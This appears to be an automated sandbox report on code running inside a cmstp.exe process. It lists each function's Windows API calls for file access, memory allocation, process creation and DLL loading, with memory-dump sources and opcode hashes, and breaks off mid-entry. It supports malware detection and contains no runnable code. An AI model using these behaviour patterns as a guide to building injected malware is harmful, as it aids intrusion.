Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cmstp.exe PID: 4768 Parent PID: 3424 cmstp.exeCOMMON

Executed Functions

Function 00E881C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00E83B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00E83B97,007A002E,00000000,00000060,00000000,00000000), ref: 00E8820D

Strings

.z`, xrefs: 00E881FD, 00E88208

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: c4dc268711a8c85cf5c39bfec3b20fa4795917897717d01f51180cbcddafe197
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 78F0B6B2200108ABCB08DF88DC85DEB77EDAF8C754F158248FA0D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E882EB, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(0=,?,?,00E83D30,00000000,FFFFFFFF), ref: 00E88315

Strings

0=, xrefs: 00E8830C, 00E88314

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: 0=
API String ID: 3535843008-292652348
Opcode ID: d628d0e73511ab89c894acb17678167994e9dd2762e9bd8305a20f7527aca1fa
Instruction ID: 5ba1f1e64bd4e8fbb9ffd3a578a5cb00595c877ce0dcf2ff4adb6941b531037d
Opcode Fuzzy Hash: d628d0e73511ab89c894acb17678167994e9dd2762e9bd8305a20f7527aca1fa
Instruction Fuzzy Hash: 82F01276240214BBDB14EF98DC80EEB77ADEF88760F148559FE5C9B241D630E91587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00E882F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(0=,?,?,00E83D30,00000000,FFFFFFFF), ref: 00E88315

Strings

0=, xrefs: 00E8830C, 00E88314

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: 0=
API String ID: 3535843008-292652348
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 3ee08fcdf44c9d478dfacf5916fa36f8344f3c8f3efb8a0608e1b1a360611b38
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 3DD01776200214ABD710EF98CC85EA77BADEF48760F154499FA1CAB282C930FA0087E0

Uniqueness

Uniqueness Score: -1.00%

Function 00E8826A, Relevance: 1.5, APIs: 1, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00E83A11,?,?,?,?,00E83A11,FFFFFFFF,?,R=,?,00000000), ref: 00E882B5

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7e59f4bc5f9327e7a58da90a61b0be8899ffba4fca823c1f762f639735210632
Instruction ID: 48ed59ab87f95b334c8b321c1e6137613bc0292783318eceae38f0e83cfc1c4d
Opcode Fuzzy Hash: 7e59f4bc5f9327e7a58da90a61b0be8899ffba4fca823c1f762f639735210632
Instruction Fuzzy Hash: 03F0F9B2204104AFCB04DF98CC94EEB77A9AF9C314F158648FE1D97241D630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E88270, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00E83A11,?,?,?,?,00E83A11,FFFFFFFF,?,R=,?,00000000), ref: 00E882B5

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 216d6daa6836f73fe7bb84c8510e6f5bb0de0326caf754f5f5f248db373cb479
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: F0F0A9B2200108ABCB14DF89DC81DEB77ADAF8C754F158648FE1D97241DA30E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E883A0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00E72D11,00002000,00003000,00000004), ref: 00E883D9

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 69ba04504b31ac0ee9a3065b637ae20f31c12e0011463f2d539ddc3fdfdf2420
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 85F01CB1200208ABCB14DF89CC81EA777ADAF88750F118548FE0C97241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E8839D, Relevance: 1.5, APIs: 1, Instructions: 29memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00E72D11,00002000,00003000,00000004), ref: 00E883D9

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 4d6d36dd84e1a1391cb6427e3fc299f4123159fc56a6b32f3078b5f9a6abeec3
Instruction ID: 2d2303b0de892a3715d2b08bf4a3d5b90775882e088897ae03a7770f6862267e
Opcode Fuzzy Hash: 4d6d36dd84e1a1391cb6427e3fc299f4123159fc56a6b32f3078b5f9a6abeec3
Instruction Fuzzy Hash: B8F015B6200108AFDB14DF88CC81EEB77ADAF88350F158648FE1CA7381C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 050C9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C954A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 930bb6cee1b90e4c910465b0808d0900b53dc6669249154432865262e61f7cd9
Instruction ID: 4ed55de4e2566e70bc31f4ffcce9800d509186d4db4172c97685461e7b93386a
Opcode Fuzzy Hash: 930bb6cee1b90e4c910465b0808d0900b53dc6669249154432865262e61f7cd9
Instruction Fuzzy Hash: 16900477351105030105F55D574450F4157D7D53D17D1D031F1005550CD771CC717171

Uniqueness

Uniqueness Score: -1.00%

Function 050C95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C95DA

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0f438e516c1dd48bbaf3436d67c5f8ff63af31ff805b1041d99be8eee4b00649
Instruction ID: abcb0f738bdb1d6222b613d257f57ff32259515c49e7b42527c3fe3d62051fa5
Opcode Fuzzy Hash: 0f438e516c1dd48bbaf3436d67c5f8ff63af31ff805b1041d99be8eee4b00649
Instruction Fuzzy Hash: 729002A22421050341057159945461A811A97E0241F91D021F1004590DC56588917175

Uniqueness

Uniqueness Score: -1.00%

Function 050C9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C971A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 77808a9a0acce1188db9972ec075b9a57baa8cc75e782ebe4570deef1e8bbbc8
Instruction ID: f989b99c1788d38724efc6c97902f0bb78ff8894f6169b9fca508a3433f9e39d
Opcode Fuzzy Hash: 77808a9a0acce1188db9972ec075b9a57baa8cc75e782ebe4570deef1e8bbbc8
Instruction Fuzzy Hash: 4490027224110902D1006599A44864A411597E0341F91E011B5014555EC6A588917171

Uniqueness

Uniqueness Score: -1.00%

Function 050C9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C978A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2535c85de7133c8da5aa1f1f5bbb7480d7074caac6f2cbb5fac827cef8f461ba
Instruction ID: eb7a4dfbf64d8e1514e3b997a98fa3e5c1f037bd7346a3eeaec1281db84a8ef3
Opcode Fuzzy Hash: 2535c85de7133c8da5aa1f1f5bbb7480d7074caac6f2cbb5fac827cef8f461ba
Instruction Fuzzy Hash: B490026A25310502D1807159A44860E411597D1242FD1E415B0005558CC95588696371

Uniqueness

Uniqueness Score: -1.00%

Function 050C9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C9FEA

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a241cd350b8e172fd38834424f4eeff1d6be7a224c10ad5d377253a01e5c6a28
Instruction ID: 4fa4ece528165c115a19d6db7fe4118b4b706d5d5799078bf0f992670ee2342d
Opcode Fuzzy Hash: a241cd350b8e172fd38834424f4eeff1d6be7a224c10ad5d377253a01e5c6a28
Instruction Fuzzy Hash: 5C90027235124902D1106159D44470A411597D1241F91D411B0814558D86D588917172

Uniqueness

Uniqueness Score: -1.00%

Function 050C9650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C965A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d499ea1ea26eb6354930d297d657f8d9beba767cd8884f6e27a83bcc8edeece
Instruction ID: f62f6535ab867ea73fcfd894175616f69d2f8b4ce940b77ef2de4788faac70f5
Opcode Fuzzy Hash: 0d499ea1ea26eb6354930d297d657f8d9beba767cd8884f6e27a83bcc8edeece
Instruction Fuzzy Hash: 5B90027224514D42D14071599444A4A412597D0345F91D011B0054694D96658D55B6B1

Uniqueness

Uniqueness Score: -1.00%

Function 050C9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C966A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ee25fa6caece8c95cc7555180ad94f8a023e85c38989c317bbadca6707ee1ba5
Instruction ID: 0b6463386a4a1af0f815bc8acaa03d4c2bccb0fb1acd73bc399a8a6baaec8d46
Opcode Fuzzy Hash: ee25fa6caece8c95cc7555180ad94f8a023e85c38989c317bbadca6707ee1ba5
Instruction Fuzzy Hash: 3890027224110D02D1807159944464E411597D1341FD1D015B0015654DCA558A5977F1

Uniqueness

Uniqueness Score: -1.00%

Function 050C96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C96DA

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c3e385dd19e1d84e40b0c8dd410b9919491b4770cfbf5284fa6f6b1bc42ed9e7
Instruction ID: 8506af557483d4cf1a4651772ce1ccd300dca49e8bdede49b449c5c08f6266d3
Opcode Fuzzy Hash: c3e385dd19e1d84e40b0c8dd410b9919491b4770cfbf5284fa6f6b1bc42ed9e7
Instruction Fuzzy Hash: 0C90027224110D42D10061599444B4A411597E0341F91D016B0114654D8655C8517571

Uniqueness

Uniqueness Score: -1.00%

Function 050C96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C96EA

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 31c89a4aa8e32ade0a58afddcb598e13c069314e390f69d20d8708296cdd3e7f
Instruction ID: a7c7ea160c74ce98e8401523685e7b23a17e49d37c343c7f76255840d83275b9
Opcode Fuzzy Hash: 31c89a4aa8e32ade0a58afddcb598e13c069314e390f69d20d8708296cdd3e7f
Instruction Fuzzy Hash: 5B90027224118D02D1106159D44474E411597D0341F95D411B4414658D86D588917171

Uniqueness

Uniqueness Score: -1.00%

Function 050C9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C991A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6ec67edacd7f23cfd85c222c595358acbb1b442606788b2b99599e5ca8a6b992
Instruction ID: 9b51f5fefba68355e2ec59c9df385f204f7407f6a135cf5a984924e258b31af6
Opcode Fuzzy Hash: 6ec67edacd7f23cfd85c222c595358acbb1b442606788b2b99599e5ca8a6b992
Instruction Fuzzy Hash: 3B9002B224110902D1407159944474A411597D0341F91D011B5054554E86998DD576B5

Uniqueness

Uniqueness Score: -1.00%

Function 050C99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C99AA

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a986afc90b57207ce3e66c9c78b13f085eb93239dcb6bdc07082e70ceb0f6441
Instruction ID: d269a879977a48dbe92d3a4c6c2463b17c0dc2070dfe90e422fd6e6e3eb9ccd4
Opcode Fuzzy Hash: a986afc90b57207ce3e66c9c78b13f085eb93239dcb6bdc07082e70ceb0f6441
Instruction Fuzzy Hash: 8C9002A238110942D10061599454B0A4115D7E1341F91D015F1054554D8659CC527176

Uniqueness

Uniqueness Score: -1.00%

Function 050C9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C984A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a9f652117bdfc156804b438aae6e42c4273ffcb823721c3bc951d8fe834c75e2
Instruction ID: 63356163c719addbf13fefad3fb2508700126c61c8f8db2f5855c7377c0654ce
Opcode Fuzzy Hash: a9f652117bdfc156804b438aae6e42c4273ffcb823721c3bc951d8fe834c75e2
Instruction Fuzzy Hash: A4900262282146525545B159944450B8116A7E0281BD1D012B1404950C85669856E671

Uniqueness

Uniqueness Score: -1.00%

Function 050C9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C986A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a2fdbcf941097258f67734d2a8b1368c381501900f6ba15bcfd8618af0cb035f
Instruction ID: c990ff24b2fda2b63f623bb03397c9b4dbffbd2785f28e6ef20ea86b6cf6bb1e
Opcode Fuzzy Hash: a2fdbcf941097258f67734d2a8b1368c381501900f6ba15bcfd8618af0cb035f
Instruction Fuzzy Hash: F390027224110913D1116159954470B411997D0281FD1D412B0414558D96968952B171

Uniqueness

Uniqueness Score: -1.00%

Function 050C9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 050C9A5A

Memory Dump Source

Source File: 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp, Offset: 05060000, based on PE: true

Associated: 00000008.00000002.919090449.000000000517B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.919102882.000000000517F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6ff2758363da8587c5f84b91fe680ca8eafe70956b6f3c1198c9775493e220c
Instruction ID: a5c734553dbac5637c7c0e894163a382b751f6cf6d018723075e4f0718f996e6
Opcode Fuzzy Hash: b6ff2758363da8587c5f84b91fe680ca8eafe70956b6f3c1198c9775493e220c
Instruction Fuzzy Hash: 7690026225190542D20065699C54B0B411597D0343F91D115B0144554CC95588616571

Uniqueness

Uniqueness Score: -1.00%

Function 00E86EE0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00E86F88

Strings

net.dll, xrefs: 00E86F51, 00E86FD7, 00E86FAF, 00E86FBB, 00E86FE3
wininet.dll, xrefs: 00E86F3E, 00E86F47

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 94b684641e4534e8a016d3b731610e62cb0c0a72e4df6f8a41d2077f6c988a8b
Instruction ID: 0868c5848464dcd41d0a6d3d3186038819771acd42c04f8e0fedea016a7165f2
Opcode Fuzzy Hash: 94b684641e4534e8a016d3b731610e62cb0c0a72e4df6f8a41d2077f6c988a8b
Instruction Fuzzy Hash: 8F318EB1601704ABC715EFA8D8A1FA7B7F8EB48704F04841DF61EAB241D770A545CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E86ED6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 82sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00E86F88

Strings

net.dll, xrefs: 00E86F51, 00E86FAF, 00E86FBB
wininet.dll, xrefs: 00E86F3E, 00E86F47

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 2bcf27fd13125646d17c599f1a445e0a5efc7572ae6fef3d011b3b8c7bdf9141
Instruction ID: 82196382c953b351b852590fa92dfd14eab1840a7b9a2fea8a0c791a265f0c44
Opcode Fuzzy Hash: 2bcf27fd13125646d17c599f1a445e0a5efc7572ae6fef3d011b3b8c7bdf9141
Instruction Fuzzy Hash: 7021BFB1601305ABC710EFA8D8A1FABB7F8EF48704F048019F61DAB242D770E444CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E884C2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00E73B93), ref: 00E884FD

Strings

.z`, xrefs: 00E884EC, 00E884F8

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: b3d01f18a4a08275bb7fb3477ec92ff3cdf9a6611af2a42f102f282f7451ed4f
Instruction ID: 9680c21e8dc2df24619dbc9c10e588d4f0e42b489a07500eb8ed68a74fdc0929
Opcode Fuzzy Hash: b3d01f18a4a08275bb7fb3477ec92ff3cdf9a6611af2a42f102f282f7451ed4f
Instruction Fuzzy Hash: 73E06DB16001046BDB24DF65CC46EEB7B69EF88390F118584FD5CAB351C631E911CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E884D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00E73B93), ref: 00E884FD

Strings

.z`, xrefs: 00E884EC, 00E884F8

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 0dfae1fab54e884388aa83f1025e328bfe9175abe90fec9041632251c656f7c1
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 74E01AB12002046BD714EF59CC45EA777ADAF88750F014554FD0C57281CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E885D6, Relevance: 3.1, APIs: 2, Instructions: 74processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00E88594
LookupPrivilegeValueW.ADVAPI32(00000000,?,00E7CFA2,00E7CFA2,?,00000000,?,?), ref: 00E88660

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalLookupPrivilegeProcessValue
String ID:
API String ID: 65721159-0
Opcode ID: 39a132e94556f882caf38c291b6f3c29fc9bbaf426952d588011c52244ac7c2b
Instruction ID: e29a2d61ee45be08cac7ffa0494e00f9f04c554d6a1a8b270436958e9b0ebfd9
Opcode Fuzzy Hash: 39a132e94556f882caf38c291b6f3c29fc9bbaf426952d588011c52244ac7c2b
Instruction Fuzzy Hash: 231129B5204208ABCB14EF99DC81EEB77ADEF88750F148659FE4D97241CA30E8118BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E77260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 00E772BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 00E772DB

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 8b955aa86635726f2346a9c8d52cc1bf7f5856a12dc46368d73d443070a20bca
Instruction ID: baf5926a74d4dcebbf5b95a8b6be45eefd8ee85e6383d9708c035be53009fb7e
Opcode Fuzzy Hash: 8b955aa86635726f2346a9c8d52cc1bf7f5856a12dc46368d73d443070a20bca
Instruction Fuzzy Hash: 3201A771A8022876E720B6949C03FFF77AC9F40B50F154115FF0CBA1C2E694690647F5

Uniqueness

Uniqueness Score: -1.00%

Function 00E79B20, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00E79B92

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 39c7b342394241c0537a29aa95ada9e7c96eef0389f7e60353fa412387c83795
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: 0B011EB5E0020DABDF10EAE4EC42F9DB7B89F54308F0481A5A90CA7242F631EB14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E88457, Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00E83516,?,00E83C8F,00E83C8F,?,00E83516,?,?,?,?,?,00000000,00000000,?), ref: 00E884BD

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 506b2c4abdef9ef12fcc5827d5b9ce237fcf15cd7939191564da8f592ada8a38
Instruction ID: e561ecc7075e89cb5a50bc01f5ba2174704192c9faa8d8d5088225c0eea9660b
Opcode Fuzzy Hash: 506b2c4abdef9ef12fcc5827d5b9ce237fcf15cd7939191564da8f592ada8a38
Instruction Fuzzy Hash: 97F0AFB62042006FD724EF64DC81EE777A9EF84314B158549FC5C57382CA31E911CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E88540, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00E88594

Memory Dump Source

Source File: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, Offset: 00E70000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 3ad72f5852934bf10c9a044be5338b7bca9d1315f825427a9526c2196ff51dc4
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: DA01AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258FA0DA7241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E886A1, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

